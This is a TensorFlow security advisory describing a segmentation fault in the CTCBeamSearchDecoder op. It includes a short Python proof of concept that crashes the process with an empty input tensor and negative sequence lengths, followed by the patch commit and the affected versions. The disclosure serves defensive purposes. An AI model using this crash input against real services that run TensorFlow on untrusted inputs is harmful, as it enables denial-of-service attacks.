Segfault in `CTCBeamSearchDecoder`
### Impact
Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True
tf.raw_ops.CTCBeamSearchDecoder(
inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
top_paths=top_paths, merge_repeated=merge_repeated)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79 fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.
### Patches
We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e
https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.